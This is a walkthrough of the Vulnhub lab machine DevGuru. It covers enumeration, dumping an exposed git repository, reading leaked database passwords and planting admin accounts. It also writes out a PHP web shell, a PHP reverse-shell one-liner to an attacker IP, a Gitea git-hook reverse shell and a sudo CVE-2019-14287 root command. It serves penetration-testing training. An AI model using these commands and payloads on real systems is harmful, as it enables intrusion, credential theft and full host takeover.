DevGuru: 1 - A Vulnhub vulnerable machine walkthrough.

Table of contents

🔎 Enumeration

Port scan

Fast nmap scan.

┌──(tiago㉿kali)-[~]
└─$ nmap -sT -p- --open 192.168.0.63
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-10 11:22 -03
Nmap scan report for 192.168.0.63
Host is up (0.0035s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8585/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 16.46 seconds

Nmap scan in detail.

┌──(tiago㉿kali)-[~]
└─$ sudo nmap -sV -A -O -p22,80,8585 192.168.0.63                      1 ⨯
[sudo] password for tiago: 
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-10 11:24 -03
Nmap scan report for 192.168.0.63
Host is up (0.0018s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
|   256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_  256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: DevGuru
| http-git: 
|   192.168.0.63:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: first commit 
|     Remotes:
|       http://devguru.local:8585/frank/devguru-website.git
|_    Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corp - DevGuru
8585/tcp open  unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=60a60f9a3f2071e6; Path=/; HttpOnly
|     Set-Cookie: _csrf=gZLNwT-DkBTkP2Femsn0l4c6rU46MTYwNzYxMDI5MDY1NDc0OTg2Mg; Path=/; Expires=Fri, 11 Dec 2020 14:24:50 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 10 Dec 2020 14:24:50 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=5dba56f953e777cd; Path=/; HttpOnly
|     Set-Cookie: _csrf=qFWDFJyuERvO3K1gxAiy1eV2lG86MTYwNzYxMDI5MDc3MDAyMjI4Ng; Path=/; Expires=Fri, 11 Dec 2020 14:24:50 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 10 Dec 2020 14:24:50 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8585-TCP:V=7.91%I=7%D=12/10%Time=5FD22FB2%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2A02,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/
SF:;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=60a60f9a3f2071e6
SF:;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=gZLNwT-DkBTkP2Femsn0l4
SF:c6rU46MTYwNzYxMDI5MDY1NDc0OTg2Mg;\x20Path=/;\x20Expires=Fri,\x2011\x20D
SF:ec\x202020\x2014:24:50\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEO
SF:RIGIN\r\nDate:\x20Thu,\x2010\x20Dec\x202020\x2014:24:50\x20GMT\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\
SF:x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"
SF:viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<m
SF:eta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title
SF:>\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<lin
SF:k\x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-
SF:credentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">
SF:\n\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20
SF:a\x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20conte
SF:nt=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pa
SF:inless")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nConten
SF:t-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x2
SF:0Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=5dba56f95
SF:3e777cd;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=qFWDFJyuERvO3K1
SF:gxAiy1eV2lG86MTYwNzYxMDI5MDc3MDAyMjI4Ng;\x20Path=/;\x20Expires=Fri,\x20
SF:11\x20Dec\x202020\x2014:24:50\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x
SF:20SAMEORIGIN\r\nDate:\x20Thu,\x2010\x20Dec\x202020\x2014:24:50\x20GMT\r
SF:\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\
SF:n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20
SF:name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\"
SF:>\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\
SF:t<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x20
SF:cup\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/ma
SF:nifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"t
SF:heme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20con
SF:tent=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<m
SF:eta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x2
SF:0c");
MAC Address: 08:00:27:FF:2C:BE (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.83 ms 192.168.0.63

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.57 seconds

Site DevGuru available in port 80.

image-20201210112759467

image-20201210213342631

Gitea in port 8585.

image-20201210112847850

Web discovery

Nikto

Scanning and enumerating all websites.

┌──(root💀kali)-[/home/tiago]
└─# nikto -h 192.168.0.63
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.63
+ Target Hostname:    192.168.0.63
+ Target Port:        80
+ Start Time:         2020-12-10 11:37:30 (GMT-3)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-3093: /.htaccess: Contains configuration and/or authorization information
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ X-XSS-Protection header has been set to disable XSS Protection. There is unlikely to be a good reason for this.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 7915 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2020-12-10 11:40:03 (GMT-3) (153 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

┌──(tiago㉿kali)-[~]
└─$ nikto -h 192.168.0.63:8585                                          
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.63
+ Target Hostname:    192.168.0.63
+ Target Port:        8585
+ Start Time:         2020-12-10 11:37:50 (GMT-3)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie lang created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'content-disposition' found, with contents: attachment; filename=favicon.png
+ Uncommon header 'content-transfer-encoding' found, with contents: binary
+ Uncommon header 'content-description' found, with contents: File Transfer
+ Cookie redirect_to created without the httponly flag
+ /debug/: Possible debug directory/program found.
+ 7919 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2020-12-10 11:38:19 (GMT-3) (29 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

ffuf

Doing some enumeration with ffuf

┌──(root💀kali)-[/home/tiago/apps/tools/ffuf_1.1.0_linux_amd64]
└─# ./ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.0.63/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.63/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

.htaccess               [Status: 200, Size: 1678, Words: 282, Lines: 53]
0                       [Status: 200, Size: 12664, Words: 929, Lines: 331]
About                   [Status: 200, Size: 18656, Words: 977, Lines: 478]
Services                [Status: 200, Size: 10026, Words: 815, Lines: 267]
about                   [Status: 200, Size: 18656, Words: 977, Lines: 478]
backend                 [Status: 302, Size: 406, Words: 60, Lines: 12]
config                  [Status: 301, Size: 313, Words: 20, Lines: 10]
modules                 [Status: 301, Size: 314, Words: 20, Lines: 10]
plugins                 [Status: 301, Size: 314, Words: 20, Lines: 10]
services                [Status: 200, Size: 10026, Words: 815, Lines: 267]
storage                 [Status: 301, Size: 314, Words: 20, Lines: 10]
themes                  [Status: 301, Size: 313, Words: 20, Lines: 10]
vendor                  [Status: 301, Size: 313, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: Job [1/1] :: 97 req/sec :: Duration: [0:03:30] :: Errors: 0 ::

┌──(tiago㉿kali)-[~/apps/tools/ffuf_1.1.0_linux_amd64]
└─$ ./ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.0.63:8585/FUZZ                                                                        127 ⨯

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.63:8585/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

admin                   [Status: 302, Size: 34, Words: 2, Lines: 3]
avatars                 [Status: 302, Size: 31, Words: 2, Lines: 3]
css                     [Status: 302, Size: 27, Words: 2, Lines: 3]
debug                   [Status: 200, Size: 160, Words: 18, Lines: 5]
explore                 [Status: 302, Size: 37, Words: 2, Lines: 3]
fonts                   [Status: 302, Size: 29, Words: 2, Lines: 3]
frank                   [Status: 200, Size: 11236, Words: 968, Lines: 345]
healthcheck             [Status: 200, Size: 26, Words: 4, Lines: 2]
img                     [Status: 302, Size: 27, Words: 2, Lines: 3]
issues                  [Status: 302, Size: 34, Words: 2, Lines: 3]
js                      [Status: 302, Size: 26, Words: 2, Lines: 3]
milestones              [Status: 302, Size: 34, Words: 2, Lines: 3]
notifications           [Status: 302, Size: 34, Words: 2, Lines: 3]
vendor                  [Status: 302, Size: 30, Words: 2, Lines: 3]
:: Progress: [20469/20469] :: Job [1/1] :: 346 req/sec :: Duration: [0:00:59] :: Errors: 0 ::

Nuclei

Back to nikto look at those git files available to us. The same can be achieved with nuclei.

./nuclei -l urls.txt -t nuclei-templates/files/ -o results.txt

image-20201210205544106

Git-dumper

Now we can dump it easily with git-dumper on folder devguru.

./git-dumper.py http://192.168.0.63/.git devguru

Inside devguru folder, you’ll finde only .git file. Let’s analyse it and checkout to last commit.

git log --pretty=oneline

image-20201210210115139

git log --pretty=format:"%h %s" --graph

image-20201210210158553

Now checkout to commit and list it’s content.

git checkout 7de9115
ls

image-20201210210304335

Looking for password in config folder.

fgrep -r password config/

image-20201210211308719

'mysql' => [
            'driver'     => 'mysql',
            'engine'     => 'InnoDB',
            'host'       => 'localhost',
            'port'       => 3306,
            'database'   => 'octoberdb',
            'username'   => 'october',
            'password'   => 'SQ66EBYx4GT3byXH',
            'charset'    => 'utf8mb4',
            'collation'  => 'utf8mb4_unicode_ci',
            'prefix'     => '',
            'varcharmax' => 191,
        ],

Look at the path adminer.php, sounds interesting.

The database Adminer has its version as 4.7.7, giving me suggestion to update to 4.7.8. Maybe some vulnerability ahead.

image-20201210211707046

image-20201210211729792

Verifying MySQL version

SHOW VARIABLES LIKE "%version%"

image-20201211093344381

Looking at user table.

image-20201210212838550

Create a bcrypt password. Take care with the amount of rounds, I used 10 rounds.

image-20201211094754135

Password GetShell

image-20201211095607153

Clone Frank user line and create yours with your own user.

image-20201211095735280

Now you can login with your user.

image-20201211095816647

October CMS Version 1.0.1

image-20201211135631359

🚪🚶 Foothold

Once logged into October, we can add a malicious php code to be executed when the page loaded. Let’s do it in Home page. First create a malicious markup which will call out php code.

image-20201214111732338

Now insert the malicious code.

image-20201214121229631

function onStart()
{
    $this->page["PoisonVar"] = system($_GET['cmd']);
}

Save it and run a command through cmd.

image-20201214112322377

This is the response of the listed directory.

image-20201214112351520

image-20201214120904737

Time to inject a command in cmd and get our first shell.

php -r '$sock=fsockopen("192.168.0.64",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Now just wait for the connection.

┌──(root💀kali)-[/home/tiago]
└─# rlwrap nc -nlvp 1234                                                                                                                                   
listening on [any] 1234 .

image-20201214121518763

Spawning a better shell

python3.6 -c 'import pty; pty.spawn("/bin/bash")'
cd /tmp
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

LinEnum script found some interesting backup files.

image-20201214143419636

less app.ini.bak

image-20201214144241780

[database]
:
; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
:
DB_TYPE             = mysql
:
HOST                = 127.0.0.1:3306
:
NAME                = gitea
:
USER                = gitea
:
; Use PASSWD = `your password` for quoting if you use special characters in the 
:
password.
:
PASSWD              = UfFPTF8C8jjxVF2m

image-20201214150018992

image-20201215122356834

image-20201215122722667

The only way I found to reproduce such hash was takeing advantage of this opensource project, reading the code and adapting it to a simple golang program.

https://github.com/go-gitea/gitea/blob/master/models/user.go#L379-L397

image-20201215122601633

image-20201215122226502

//https://medium.com/rungo/how-to-write-a-simple-go-program-13fd104f3018
//https://godoc.org/golang.org/x/crypto/pbkdf2

package main

import (
	"crypto/sha256"
	"golang.org/x/crypto/pbkdf2"
	"fmt"
	)

func main(){

	var passwd []byte

	passwd = pbkdf2.Key([]byte("0xtiago"), []byte("MaaahOeeee"), 10000, 50, sha256.New)

	fmt.Println(fmt.Sprintf("%x",passwd))
}

Installing dependency and running the program.

$ go get golang.org/x/crypto/pbkdf2
$ go run hash.go
f1eb1933069a3552722c29faeeeb1271e2e66c0eae8646201df479f90c99fa4075e8c568852a7a54b7665c3e760911706509

Now just clone the table line and create a new user with the hash and salt.

image-20201215122449795

image-20201215122800138

image-20201215122826958

$ ps aux | grep gitea

Gitea process is running as frank user.

image-20201215123052702

Create a new repository and add a reverse shell script on post-receive Git hook.

image-20201215134117118

Then i just had to clone and commit a new change like the example bellow, and received the shell back.

$ git clone http://devguru.local:8585/tiago/Teste.git
$ cd Teste
$ touch test.txt
$ git add .
$ git commit -am "Primeiro commmit"
$ git push origin master

image-20201215140141507

image-20201215142829951

🛡️ Privilege Escalation

One of the first thing to do during the enumeration is check the permissions I have executing something as root, like sudo -l.

image-20201215141736683

I can run sqlite3 as root, but it will ask frank password for this, but we don’t have this information. Verifying sudo version, I figured out that is vulnerable to privilege escalation, as says CVE-2019-14287.

image-20201215143527692

From now on I used this to references:

image-20201215145115575

Time to become root.

sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'

image-20201215145740694

🍻 Complete

root@devguru:/root# cat msg.txt
cat msg.txt

           Congrats on rooting DevGuru!
  Contact me via Twitter @zayotic to give feedback!


root@devguru:/root# cat root.txt
cat root.txt
96440606fb88aa7497cde5a8e68daf8f